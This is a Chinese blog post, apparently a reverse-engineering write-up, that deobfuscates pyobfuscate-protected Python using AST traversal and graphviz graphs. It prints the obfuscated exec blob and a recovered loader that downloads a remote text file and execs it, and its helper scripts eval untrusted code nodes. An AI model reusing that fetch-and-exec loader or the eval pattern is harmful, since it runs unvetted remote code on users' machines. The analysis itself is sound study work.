464890';why,are,you,reading,this,thing,huh="\\x5f\\x5f\\x5f\\x5f","\\x69\\x6e\\x28\\x63\\x68\\x72\\x28\\x69\\x29\\x20\\x66\\x6f","\\x28\\x22\\x22\\x2e\\x6a\\x6f","\\x72\\x20\\x69\\x20\\x69\\x6e\\x20\\x5b\\x31\\x30\\x31\\x2c\\x31\\x32\\x30\\x2c","\\x31\\x30\\x31\\x2c\\x39\\x39","\\x5f\\x5f\\x29\\x29","\\x5d\\x29\\x29\\x28\\x5f\\x28";b='eJxzdK8wccz1A+IwYyBt6OheketYHmYKAFuyB3k=';____("".join (chr (int (OO00O0OO00O0O0OO00 /2 ))for OO00O0OO00O0O0OO00 in [202 ,240 ,202 ,198 ] if _____!=______))(f'\\x5f\\x5f\\x5f\\x5f\\x28\\x22\\x22\\x2e\\x6a\\x6f\\x69\\x6e\\x28\\x63\\x68\\x72\\x28\\x69\\x29\\x20\\x66\\x6f\\x72\\x20\\x69\\x20\\x69\\x6e\\x20\\x5b\\x31\\x30\\x31\\x2c\\x31\\x32\\x30\\x2c\\x31\\x30\\x31\\x2c\\x39\\x39\\x5d\\x29\\x29({____(base64.b64decode(codecs.decode(zlib.decompress(base64.b64decode(b"eJw9kN1ygjAUhF8JIkzlMo6mEnIcHVIM3AGtoPIT2wSSPH2p7fTu252d2T3n3MkyK896dLvrSMIeaGxEGn0l/rpiLu3hlXm5yxDmO8tQZIDoeUQLr4oWePxk8VZfBpr9af8mXdzLTk8swRbP25bNzPvP8qwWJDRA8RX4vhLkfvuk0QRl3DOUekDC9xHZVnBcyUnXY7mtBrIOBDEKXNRl3KiBBor25l5MN7U5qSA/HsJiVpfsVIQ/Hj4dgoSYOndx+7tZLZ2m3qA4AFpUD6RDsbLXB2m0dPuPZa8GblvoGm/gthdI+8PxyYtnXqRLl9uiJi+xBbqtCmKm8/K3b7hsbmQ=")).decode(),"".join(chr(int(i/8)) for i in [912, 888, 928, 392, 408])).encode()))})') 乍一看,用了大量的lambda把代码写成了一行,想提取里面的代码很难,我第一次破的时候是直接扔到pycharm里面格式化到处插print看变量的值,为了对准lambda表达式后面的;挺痛苦的,上AST看一下。 因为里面的代码主要是赋值(Assign)语句,最后执行的代码(Expr)跟在了lambda的分号后面了,先大致拉出来看看: 123456789101112131415161718192021222324252627from extractors import AssignExtractor,ExprExtractorimport astimport diswith open('./obfuscated_code.py', 'r') as f: code = f.read()tree = ast.parse(code)assignExtractor = AssignExtractor()assignExtractor.visit(tree)ass_nodes = assignExtractor.assign_nodesexprExtractor = ExprExtractor()exprExtractor.visit(tree)expr_nodes = exprExtractor.expr_nodeswith open('./assin_output.txt','w') as f1: for i in ass_nodes: f1.write(ast.dump(i)+'\\n') f1.write(ast.unparse(i)+'\\n\\n')with open('./expr_output.txt','w') as f2: for i in expr_nodes: f2.write(ast.dump(i)+'\\n') f2.write(ast.unparse(i)+'\\n\\n') 代码的结构就能很轻松地找出来,之后便可以通过在代码里插print的方法来确定我被混淆的代码最后哪里运行的 1____(''.join((chr(int(OO00O0OO00O0O0OO00 / 2)) for OO00O0OO00O0O0OO00 in [202, 240, 202, 198] if _____ != ______)))(f"""____("".join(chr(i) for i in [101,120,101,99]))({____(base64.b64decode(codecs.decode(zlib.decompress(base64.b64decode(b'eJw9kN1ygjAUhF8JIkzlMo6mEnIcHVIM3AGtoPIT2wSSPH2p7fTu252d2T3n3MkyK896dLvrSMIeaGxEGn0l/rpiLu3hlXm5yxDmO8tQZIDoeUQLr4oWePxk8VZfBpr9af8mXdzLTk8swRbP25bNzPvP8qwWJDRA8RX4vhLkfvuk0QRl3DOUekDC9xHZVnBcyUnXY7mtBrIOBDEKXNRl3KiBBor25l5MN7U5qSA/HsJiVpfsVIQ/Hj4dgoSYOndx+7tZLZ2m3qA4AFpUD6RDsbLXB2m0dPuPZa8GblvoGm/gthdI+8PxyYtnXqRLl9uiJi+xBbqtCmKm8/K3b7hsbmQ=')).decode(), ''.join((chr(int(i / 8)) for i in [912, 888, 928, 392, 408]))).encode()))})""") 把这段代码单独拎出来,看看里面长啥样: 这里用graphviz库来做个可视化 Pythonの抽象構文木をGraphvizで可視化する pip install graphviz 1234567891011121314151617181920212223from graphviz import Digraphimport astimport disdef visit(node, nodes, pindex, g): name = str(type(node).__name__) index = len(nodes) nodes.append(index) g.node(str(index), name) if index != pindex: g.edge(str(index), str(pindex)) for n in ast.iter_child_nodes(node): visit(n, nodes, index, g)with open('./obfuscated2_code.py', 'r') as f: code = f.read()tree = ast.parse(code)graph = Digraph(format="png")visit(tree, [], 0, graph)graph.render("obfuscated2") 当这张图拉出来了之后,一目了然,把这个搜索改成广搜,来一层一层拨开 1234567891011121314151617181920212223242526272829303132333435363738394041424344import random ,base64,codecs,zlib;pyobfuscate=""from collections import dequeimport astobfuscate = dict(map(lambda map,dict:(map,dict),['(https://pyobfuscate.com)*(decrypt)'],['''Mg9q#UDn(oW~!Zy`F!j-yD|'''.replace('\\n','')]))_=lambda OO00000OOO000............yB3k='# ↓↓↓↓ 下面的这些代码是前面分析出来得到的最后执行的表达式code = """_____("".join (chr (int (OO00O0OO00O0O0OO00 /2 ))for OO00O0OO00O0O0OO00 in [202 ,240 ,202 ,198 ] if _____!=______))(f'\\x5f\\x5f\\x5f\\x5f\\x28\\x22\\x22\\x2e\\x6a\\x6f\\x69\\x6e\\x28\\x63\\x68\\x72\\x28\\x69\\x29\\x20\\x66\\x6f\\x72\\x20\\x69\\x20\\x69\\x6e\\x20\\x5b\\x31\\x30\\x31\\x2c\\x31\\x32\\x30\\x2c\\x31\\x30\\x31\\x2c\\x39\\x39\\x5d\\x29\\x29({____(base64.b64decode(codecs.decode(zlib.decompress(base64.b64decode(b"eJw9kN1ygjAUhF8JIkzlMo6mEnIcHVIM3AGtoPIT2wSSPH2p7fTu252d2T3n3MkyK896dLvrSMIeaGxEGn0l/rpiLu3hlXm5yxDmO8tQZIDoeUQLr4oWePxk8VZfBpr9af8mXdzLTk8swRbP25bNzPvP8qwWJDRA8RX4vhLkfvuk0QRl3DOUekDC9xHZVnBcyUnXY7mtBrIOBDEKXNRl3KiBBor25l5MN7U5qSA/HsJiVpfsVIQ/Hj4dgoSYOndx+7tZLZ2m3qA4AFpUD6RDsbLXB2m0dPuPZa8GblvoGm/gthdI+8PxyYtnXqRLl9uiJi+xBbqtCmKm8/K3b7hsbmQ=")).decode(),"".join(chr(int(i/8)) for i in [912, 888, 928, 392, 408])).encode()))})')"""# ↓↓↓↓ 使用广搜,一层一层分析def bfs_visit(root): nodes = [] queue = deque([(root, None)]) while queue: node, parent_index = queue.popleft() index = len(nodes) nodes.append(index) if parent_index is not None: nodes.append(index) for child in ast.iter_child_nodes(node): try : print("[+]",eval(ast.unparse(child))) # <--- 这里获取值 except: print("[-]",ast.unparse(child)) pass queue.append((child, index)) print("---------------------------------分割线------------------------------") return nodestree = ast.parse(code)bfs_visit(tree) 这里想到用eval直接打印出来变量,直接看 我在整理笔记到这里的时候,突发奇想,既然我都能把整个逻辑弄成图,为啥不直接把对应的值也弄上去,到时候分析起来就更方便了,也就不需要到处print看值 12345678910111213141516171819202122232425262728293031def bfs_visit(root): queue = Queue() queue.put((root, 0)) nodes = [] g = Digraph(format='png') while not queue.empty(): node, pindex = queue.get() name = str(type(node).__name__) index = len(nodes) nodes.append(index) try: value = eval(ast.unparse(node)) except: value = ast.unparse(node) pass try: g.node(str(index), name+' '+str(type(value)) + ' '+str(value)) except: g.node(str(index), name+' '+str(type(value))) if index != pindex: g.edge(str(index), str(pindex)) for n in ast.iter_child_nodes(node): queue.put((n, index)) return gtree = ast.parse(code)tree = ast.parse(code)graph = bfs_visit(tree)graph.render("obfuscated2_plus") 这不比命令行里一条条对数据方便多了 仔细看看,左边NoneType上方是exec,右边是个JoinedStr,结合这里面一堆call,不难看出最后执行的是exec(JoinedStr) 但是右边又套娃套了好几层 用随机数特定的种子来生成特定的文字,玩的挺脏的,得到反混淆后的代码: 1234567891011121314151617181920212223try: from requests import getexcept: input("pip install requests \\\\npress enter to Exit") __import__('sys').exit()fl=__import__("requests").get("https://pyobfuscate.com/public/pyd2/aes.txt").texttry: from os.path import exists as ex from os import getenv as ge,remove loc=ge('APPDATA');p1=loc+"\\\\aes.txt";p2=loc+"\\\\rsa.txt";p3=loc+"\\\\aes2.txt" if ex(p1)==True: remove(p1) elif ex(p2)==True: remove(p2) if ex(p3)==False: with open(str(p3),"w") as e:e.write(str(fl)) exec(open(p2).read())except: exec(fl) 简单一看,又想骂娘https://pyobfuscate.com/public/pyd2/aes.txt 代码还是那一些,同样的思路继续干,这里把最后一个Expr拿出来吧,原代码太长了 1_______.___________________(_______.________________(_______.________________________())[:______._ * ______._] + _______.________________(_______._______________())[______.___] + _______.________________(_______._________________([]))[______.___] + _______.________________(_______.________________________())[______._ ** ______._ + ______.__])(____, _______._______________________(), _______.________________(_______.________________________())[______._ ** ______._ + ______.__] + _______.________________(_______.______________())[______._] + _______.________________(_______.________________________())[______._ ** ______._ + ______.__] + _______.________________(_______.________________________())[______.___]) 左边exec右边compile 看到这里,compile上加载了一个前面代码的变量,这里再改进一下代码,同时更换输出格式为svg,避免因为图片过大报错 1234567891011121314151617181920212223242526272829303132333435363738394041import astfrom graphviz import Digraphfrom queue import Queuefrom graphviz import Digraphdef bfs_visit(root): queue = Queue() queue.put((root, 0)) nodes = [] g = Digraph(format='svg') while not queue.empty(): node, pindex = queue.get() name = str(type(node).__name__) index = len(nodes) nodes.append(index) try: value = eval(ast.unparse(node)) except: value = ast.unparse(node) pass try: if name == 'Name': g.node(str(index), name+' '+str(type(value)) + ' id:'+str(node.id)) # 添加加载变量的id else: g.node(str(index), name+' '+str(type(value)) + ' '+str(value)) except Exception as e: print(e) g.node(str(index), name+' '+str(type(value))) if index != pindex: g.edge(str(index), str(pindex)) for n in ast.iter_child_nodes(node): queue.put((n, index)) return gtree = ast.parse(code)tree = ast.parse(code)graph = bfs_visit(tree)graph.render("final_express") 这里放张svg图,建议新建窗口打开 找到了,因为变量类型是ast.Moudle,就用ast.unpares还原代码 print(ast.unparse(____)) 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263try: import random, base64, zlib, sys, string from Crypto.Cipher import AES, PKCS1_OAEP from Crypto.Hash import SHA256 from Crypto.PublicKey import RSA from Crypto.Random import get_random_bytes from Crypto.Signature import pkcs1_15 from Crypto.Util.Padding import pad, unpad from Crypto.Cipher import AES import binascii class AESEncryption: def __init__(self, key: bytes) -> None: self.key = key @classmethod def from_nbits(cls, nbits: int=256): cls.iv = iv cls.key = keys cls.mode = mode return cls(keys) def encrypt(self, message: bytes) -> bytes: cipher = AES.new(self.key, self.mode, self.iv) ciphered_data = cipher.encrypt(pad(message, AES.block_size)) return ciphered_data def decrypt(self, message: bytes) -> bytes: cipher = AES.new(self.key, self.mode, self.iv) decrypted_data = unpad(cipher.decrypt(message), AES.block_size) return decrypted_data MESSAGE_LONG = get_random_bytes(100100) res = ''.join(random.choices(string.ascii_uppercase + string.digits, k=16)) bb = _encrypt[125:] keys = base64.b85decode(bb) iv = _pubkey[100:] mode = AES.MODE_CBC aes = AESEncryption.from_nbits(256) encrypted_msg = aes.encrypt(_lambda) passkey2 = 'Obfuscated by https://pyobfuscate.com' if not _key == passkey2: print('Decryption Key Do not Match or Missing AES Salt 256') sys.exit() exec(zlib.decompress(aes.decrypt(_lambda)).decode())except: import base64, os, hashlib, random from Crypto.Cipher import AES def aes_decrypt(encrypted_data, key): encrypted_data = base64.b85decode(encrypted_data) salt = encrypted_data[:8] (key, iv) = derive_key_and_iv(key, salt) cipher = AES.new(key, AES.MODE_CFB, iv) data = cipher.decrypt(encrypted_data[8:]) return data.decode() def derive_key_and_iv(password, salt): dk = hashlib.pbkdf2_hmac('sha256', password.encode(), salt, 100000) key = dk[:16] iv = dk[16:] return (key, iv) exec(aes_decrypt(list(obfuscate.values())[0], list(obfuscate.keys())[0][1:-1])) 仔细审审的话,发现上面的try必定出错,不需要管,最后得到解密代码是: 1234567891011121314151617import base64, os, hashlib, randomfrom Crypto.Cipher import AESdef aes_decrypt(encrypted_data, key): encrypted_data = base64.b85decode(encrypted_data) salt = encrypted_data[:8] (key, iv) = derive_key_and_iv(key, salt) cipher = AES.new(key, AES.MODE_CFB, iv) data = cipher.decrypt(encrypted_data[8:]) return data.decode()def derive_key_and_iv(password, salt): dk = hashlib.pbkdf2_hmac('sha256', password.encode(), salt, 100000) key = dk[:16] iv = dk[16:] return (key, iv)print(aes_decrypt(list(obfuscate.values())[0], list(obfuscate.keys())[0][1:-1])) 嗯哼,这么强的混淆只是为了保护一个解密器的代码。 0x03 复盘其实只是破解这个混淆的话,根本不需要上ast来大炮打蚊子,直接把以下内容送进去混淆然后运行: 12import pdbpdb.set_trace() dis一下 ast分析确实有很多好处的,首先是整个代码的就变得非常直观了,比较适合研究这个混淆的原理,能一眼看出来我这个运行的代码是如何被一步一步拼接出来的,比如这个compile 最后生成分析图像的代码: 123456789101112131415161718192021222324252627282930313233from queue import Queuefrom graphviz import Digraphimport astdef bfs_visit(root): queue = Queue() queue.put((root, 0)) nodes = [] g = Digraph(format='png') while not queue.empty(): node, pindex = queue.get() name = str(type(node).__name__) index = len(nodes) nodes.append(index) try: value = eval(ast.unparse(node)) except: value = ast.unparse(node) pass try: g.node(str(index), name+' '+str(type(value)) + ' '+str(value)) except: g.node(str(index), name+' '+str(type(value))) if index != pindex: g.edge(str(index), str(pindex)) for n in ast.iter_child_nodes(node): queue.put((n, index)) return gtree = ast.parse(code)tree = ast.parse(code)graph = bfs_visit(tree)graph.render("obfuscated2_plus") Refencesdis — Python 字节码反汇编器ast — 抽象语法树Pythonの抽象構文木をGraphvizで可視化する","link":"/2023/06/17/%E4%B8%80%E7%A7%8D%E5%9F%BA%E4%BA%8East%E7%9A%84python%E5%8F%8D%E6%B7%B7%E6%B7%86%E6%80%9D%E8%B7%AF/"}],"tags":[{"name":"CTF","slug":"CTF","link":"/tags/CTF/"},{"name":"WEB","slug":"WEB","link":"/tags/WEB/"},{"name":"ETH","slug":"ETH","link":"/tags/ETH/"},{"name":"Solidity","slug":"Solidity","link":"/tags/Solidity/"},{"name":"upload","slug":"upload","link":"/tags/upload/"},{"name":"Crypto","slug":"Crypto","link":"/tags/Crypto/"},{"name":"XOR","slug":"XOR","link":"/tags/XOR/"},{"name":"RCE","slug":"RCE","link":"/tags/RCE/"},{"name":"复现","slug":"复现","link":"/tags/%E5%A4%8D%E7%8E%B0/"},{"name":"反序列化","slug":"反序列化","link":"/tags/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"},{"name":"phar","slug":"phar","link":"/tags/phar/"},{"name":"web","slug":"web","link":"/tags/web/"},{"name":"inject","slug":"inject","link":"/tags/inject/"},{"name":"Hexo","slug":"Hexo","link":"/tags/Hexo/"},{"name":"Troubleshooting","slug":"Troubleshooting","link":"/tags/Troubleshooting/"},{"name":"SQL","slug":"SQL","link":"/tags/SQL/"},{"name":"备忘录","slug":"备忘录","link":"/tags/%E5%A4%87%E5%BF%98%E5%BD%95/"},{"name":"Blockchain","slug":"Blockchain","link":"/tags/Blockchain/"},{"name":"python","slug":"python","link":"/tags/python/"},{"name":"ssti","slug":"ssti","link":"/tags/ssti/"},{"name":"LFI","slug":"LFI","link":"/tags/LFI/"},{"name":"javascript","slug":"javascript","link":"/tags/javascript/"},{"name":"frida","slug":"frida","link":"/tags/frida/"},{"name":"MITM","slug":"MITM","link":"/tags/MITM/"},{"name":"Web","slug":"Web","link":"/tags/Web/"},{"name":"SSRF","slug":"SSRF","link":"/tags/SSRF/"},{"name":"pyc","slug":"pyc","link":"/tags/pyc/"},{"name":"反混淆","slug":"反混淆","link":"/tags/%E5%8F%8D%E6%B7%B7%E6%B7%86/"},{"name":"Javascript","slug":"Javascript","link":"/tags/Javascript/"},{"name":"PHP","slug":"PHP","link":"/tags/PHP/"},{"name":"ThinkPHP","slug":"ThinkPHP","link":"/tags/ThinkPHP/"},{"name":"Go","slug":"Go","link":"/tags/Go/"},{"name":"regex","slug":"regex","link":"/tags/regex/"},{"name":"DOS","slug":"DOS","link":"/tags/DOS/"},{"name":"midnight","slug":"midnight","link":"/tags/midnight/"},{"name":"ast","slug":"ast","link":"/tags/ast/"},{"name":"pyobfuscate","slug":"pyobfuscate","link":"/tags/pyobfuscate/"}],"categories":[{"name":"备忘录","slug":"备忘录","link":"/categories/%E5%A4%87%E5%BF%98%E5%BD%95/"},{"name":"复现","slug":"复现","link":"/categories/%E5%A4%8D%E7%8E%B0/"},{"name":"ssti","slug":"ssti","link":"/categories/ssti/"},{"name":"路由器","slug":"路由器","link":"/categories/%E8%B7%AF%E7%94%B1%E5%99%A8/"},{"name":"weak","slug":"weak","link":"/categories/weak/"},{"name":"web","slug":"web","link":"/categories/web/"},{"name":"reverse","slug":"reverse","link":"/categories/reverse/"},{"name":"编程","slug":"编程","link":"/categories/%E7%BC%96%E7%A8%8B/"}]}